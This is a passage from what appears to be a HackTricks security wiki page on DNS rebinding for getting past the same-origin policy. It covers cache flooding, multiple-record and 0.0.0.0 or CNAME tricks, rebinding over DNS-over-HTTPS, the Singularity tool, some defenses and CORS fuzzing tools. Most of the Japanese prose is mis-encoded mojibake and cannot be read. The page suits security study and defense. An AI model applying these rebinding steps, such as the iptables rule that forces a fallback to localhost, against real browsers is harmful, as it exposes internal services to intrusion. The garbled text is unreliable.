- ååã® DNS ãªã¯ãšã¹ãã«ã¯æ»æè ã® IP ãè¿ãã
- ãã£ãã·ã¥é²åŸ¡ãåé¿ããããã«ãæ»æè 㯠service worker ãå©çšã㊠DNS ãã£ãã·ã¥ã措氎ããããã£ãã·ã¥ãããæ»æè ãµãŒãåãäºå®äžåé€ããã
- 被害è ã®ãã©ãŠã¶ãäºåºŠç®ã® DNS ãªã¯ãšã¹ããè¡ããšã127.0.0.1ïŒé垞㯠localhostïŒãªã©ã® IP ãè¿ãã
service worker ã«ãããã£ãã·ã¥æŽªæ°Žã§ DNS 解決ãæäœãã被害è ãã©ãŠã¶ã«åãªã¯ãšã¹ããè¡ãããæå³ãã IP ã«è§£æ±ºãããããšãã§ããŸãã
DNS Rebinding via Cache
å¥ã®ãã£ãã·ã¥åé¿ææ³ãšããŠãåäžãµããã¡ã€ã³ã«è€æ°ã® IP ãå²ãåœãŠãæ¹æ³ããããŸããæµãã¯æ¬¡ã®éãã§ãïŒ
- æ»æè ã DNS ãããã€ãã«åäžãµããã¡ã€ã³ã® A ã¬ã³ãŒããäºã€ïŒãŸãã¯äžã€ã® A ã¬ã³ãŒãã«äºã€ã® IPïŒèšå®ããã
- ãã©ãŠã¶ããããã確èªãããšäž¡æ¹ã® IP ãåãåãã
- ãã©ãŠã¶ããŸãæ»æè ã® IP ã䜿ããšãæ»æè ã¯åäžãã¡ã€ã³ãžã® HTTP ãªã¯ãšã¹ããå®è¡ãããã€ããŒããè¿ãã
- æ»æè ã被害è ã® IP ãå ¥æããããæ»æè åŽã¯ãã©ãŠã¶ãžã®å¿çã忢ããã
- ãã©ãŠã¶ã¯ãã®ãã¡ã€ã³ãå¿çããªããšå€æã㊠2 çªç®ã® IP ã䜿ãããã«ãªãã
- 2 çªç®ã® IP ã«ã¢ã¯ã»ã¹ããããšã§ããã©ãŠã¶ã¯ SOP ãåé¿ããæ»æè ã¯æ å ±åéã exfiltration ãè¡ããã
ãã®ææ³ã¯ããã¡ã€ã³ã«è€æ°ã® IP ãæäŸãããéã®ãã©ãŠã¶ã®æåãå©çšããŸããå¿çãæŠç¥çã«å¶åŸ¡ããŠãã©ãŠã¶ã®éžæãæäœããããšã§ SOP ãæªçšã§ããŸãã
Warning
Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didnât allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them â0.0.0.0â![]()
詳现㯠https://unit42.paloaltonetworks.com/dns-rebinding/ ãåç §ããŠãã ããã
Other Common Bypasses
- If internal IPs arenât allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
- If internal IPs arenât allowed, respond with a CNAME to localhost (works on Linux and Ma
- If internal IPs arenât allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.
DNS Rebidding Weaponized
åè¿°ã®ãã€ãã¹ææ³ãããŒã«ã®äœ¿ãæ¹ã«ã€ããŠã¯ãè¬æŒ Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference ãåç §ããŠãã ããã
Singularity of Origin 㯠DNS rebinding æ»æãè¡ãããã®ããŒã«ã§ããæ»æè
ãµãŒãã® DNS åãã¿ãŒã²ããã®ãã·ã³ IP ã«ãªãã€ã³ãããã¿ãŒã²ããäžã®è匱ãªãœãããæ»æããããã®ãã€ããŒããé
ä¿¡ããããã®ã³ã³ããŒãã³ããå«ãã§ããŸãã
DNS Rebinding over DNS-over-HTTPS (DoH)
DoH ã¯åã«å€å
žç㪠RFC1035 DNS ã® wire ãã©ãŒãããã HTTPS å
ã«ãã³ããªã³ã°ããïŒé垞㯠Content-Type: application/dns-message ã® POSTïŒã ãã§ãããªãŸã«ãã¯åããªãœãŒã¹ã¬ã³ãŒãã§å¿çããããããã©ãŠã¶ãæ»æè
管çã®ãã¹ãåã TLS çµç±ã§è§£æ±ºããŠã SOP ãç Žãææ³ã¯åŒãç¶ãæ©èœããŸãã
Key observations
- Chrome (Windows/macOS) ãš Firefox (Linux) ã¯ãCloudflareãGoogleãOpenDNS ã® DoH ãªãŸã«ãã§èšå®ããå Žåã«ãªãã€ã³ãã«æåããŸãããã©ã³ã¹ããŒãã®æå·åã¯ãfirst-then-secondãmultiple-answersãDNS cache flooding æŠç¥ã«å¯Ÿããæ»æãããŒã®é å»¶ã鮿ã«ã¯ãªããªãããšã確èªãããŠããŸãã
- å ¬éãªãŸã«ãã¯ãã¹ãŠã®ã¯ãšãªãåãåããŸããããã©ãŠã¶ãåŸãã¹ããã¹ãâIP ã®ãããã³ã°ã峿 Œã«åŒ·å¶ããããšã¯çšã§ããæš©åšãµãŒãããªãã€ã³ãã£ã³ã°ã®ã·ãŒã±ã³ã¹ãè¿ããšããã©ãŠã¶ã¯å ã® origin ã¿ãã«ãä¿ã£ããŸãŸæ°ãã IP ã«æ¥ç¶ãç¶ããŸãã
Singularity strategies and timing over DoH
- First-then-second ã¯äŸç¶ãšããŠæãä¿¡é Œã§ããææ³ã§ãïŒæåã®ã«ãã¯ã¢ããã¯æ»æè IPïŒãã€ããŒããé ä¿¡ïŒãè¿ãããã®åŸã®ã«ãã¯ã¢ããã¯å éš/localhost ã® IP ãè¿ããŸããå žåçãªãã©ãŠã¶ã® DNS ãã£ãã·ã¥ã§ã¯ããã®åãæ¿ã㯠~40â60 ç§ã§èµ·ããŸããããã¯ååž°ãªãŸã«ãã HTTPS çµç±ã§ã®ã¿å°éå¯èœãªå Žåã§ãåæ§ã§ãã
- Multiple answers (fast rebinding) ã¯ãäºã€ã® A ã¬ã³ãŒãïŒæ»æè
IP + Linux/macOS ã®å Žå
0.0.0.0ãWindows ã®å Žå127.0.0.1ïŒã§å¿çããããŒãžèªã¿èŸŒã¿çŽåŸã«æåã® IP ãããã°ã©ã çã«ãã©ãã¯ããŒã«åïŒäŸ:iptables -I OUTPUT -d <attacker_ip> -j DROPïŒããããšã§ <3 ç§ã§ localhost ã«å°éããŸããFirefox ã® DoH å®è£ ã¯ç¹°ãè¿ã DNS ã¯ãšãªãçºè¡ããããšããããããSingularity ã®å¯Ÿçã¯ã¿ã€ããŒãåã¯ãšãªã§æŽæ°ããã®ã§ã¯ãªããæåã®ã¯ãšãªã®ã¿ã€ã ã¹ã¿ã³ãã«çžå¯ŸããŠãã¡ã€ã¢ãŠã©ãŒã«ã«ãŒã«ãã¹ã±ãžã¥ãŒã«ããããšã§ãã
Beating ârebind protectionâ in DoH providers
- äžéšãããã€ãïŒäŸ: NextDNSïŒã¯ private/loopback ã®å¿çã
0.0.0.0ã«çœ®æããŸãããLinux ãš macOS ã¯ãã®å®å ãããŒã«ã«ãµãŒãã¹ãžã«ãŒãã£ã³ã°ããŸãããããã£ãŠãäºçªç®ã®ã¬ã³ãŒããšããŠæå³çã«0.0.0.0ãè¿ãããšã¯äŸç¶ãšã㊠localhost ãžãããããã广ããããŸãã - çŽæ¥ç㪠A/AAAA å¿çã ãããã£ã«ã¿ããã®ã¯ç¡å¹ã§ãïŒå éšå°çšãã¹ãåãžã® CNAME ãè¿ããšãå ¬é DoH ãªãŸã«ãã¯ãã®ãšã€ãªã¢ã¹ã転éããFirefox çã®ãã©ãŠã¶ã¯å éšãŸãŒã³ã®è§£æ±ºã®ããã«ã·ã¹ãã DNS ã«ãã©ãŒã«ããã¯ãããããæçµçã«ãã©ã€ããŒã IP ã«è§£æ±ºãããããã§ãæ»æè origin ãšããŠæ±ãããŸãã
Browser-specific DoH behavior
- Firefox DoH ã¯ãã©ãŒã«ããã¯ã¢ãŒãã§åäœããŸãïŒDoH ã®å€±æïŒæªè§£æ±ºã® CNAME ã¿ãŒã²ãããå«ãïŒã¯ OS ãªãŸã«ãã«ãããã¬ãŒã³ããã¹ãã«ãã¯ã¢ãããããªã¬ãŒããŸããOS ãªãŸã«ãã¯éåžžãšã³ã¿ãŒãã©ã€ãº DNS ãµãŒãã§å éšåå空éãç¥ã£ãŠãããããäŒæ¥ãããã¯ãŒã¯å éšã§ã® CNAME ãã€ãã¹ãä¿¡é Œã§ããã®ã¯ãã®æåã«ãããŸãã
- Chrome DoH 㯠OS DNS ããã¯ã€ããªã¹ãåããã DoH 察å¿ååž°ãªãŸã«ãïŒCloudflareãGoogleãQuad9 çïŒãæããŠããå Žåã«ã®ã¿æå¹ã«ãªããåããã©ãŒã«ããã¯ãã§ã€ã³ãæäŸããŸãããäŒæ¥ DNS ã®ã¿ã§ååšããå éšãã¹ãåã¯è§£æ±ºã§ããªããªããŸãããlocalhost ãã«ãŒãã£ã³ã°å¯èœãªã¢ãã¬ã¹ãžã®ãªãã€ã³ãã¯æåããŸãããªããªãæ»æè ãå¿çã»ããå šäœãå¶åŸ¡ããŠããããã§ãã
Testing and monitoring DoH flows
- Firefox:
Settings â Network Settings â Enable DNS over HTTPSã§ DoH ãšã³ããã€ã³ããæå®ïŒCloudflare ãš NextDNS ã¯çµã¿èŸŒã¿ïŒãChrome/Chromium:chrome://flags/#dns-over-httpsãæå¹ã«ããOS ã® DNS ãµãŒãã Chrome ã®ãµããŒããããªãŸã«ãïŒäŸ:1.1.1.1/1.0.0.1ïŒã«èšå®ããŸãã - å
¬é DoH API ãçŽæ¥ã¯ãšãªããŠããã©ãŠã¶ããã£ãã·ã¥ããæ£ç¢ºãªã¬ã³ãŒãã確èªã§ããŸããäŸ:
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq - DoH ã¯åã« HTTPS ãªã®ã§ Burp/ZAP ã§ã€ã³ã¿ãŒã»ããã§ããŸãïŒããã£å
ã«ãã€ã㪠DNS ãã€ããŒãïŒããã±ããã¬ãã«ã§è§£æããã«ã¯ããã©ãŠã¶èµ·ååã« TLS ããŒããšã¯ã¹ããŒãïŒ
export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txtïŒããWireshark ã§ DoH ã»ãã·ã§ã³ã埩å·ããŠdnsãã£ã¹ãã¬ã€ãã£ã«ã¿ã䜿ã£ãŠãã©ãŠã¶ã DoH ã«çãŸã£ãŠããããã©ãŒã«ããã¯ããŠãããã確èªããŸãã
Real Protection against DNS Rebinding
- Use TLS in internal services
- Request authentication to access data
- Validate the Host header
- https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers
Tools
Fuzz possible misconfigurations in CORS policies
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
- NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


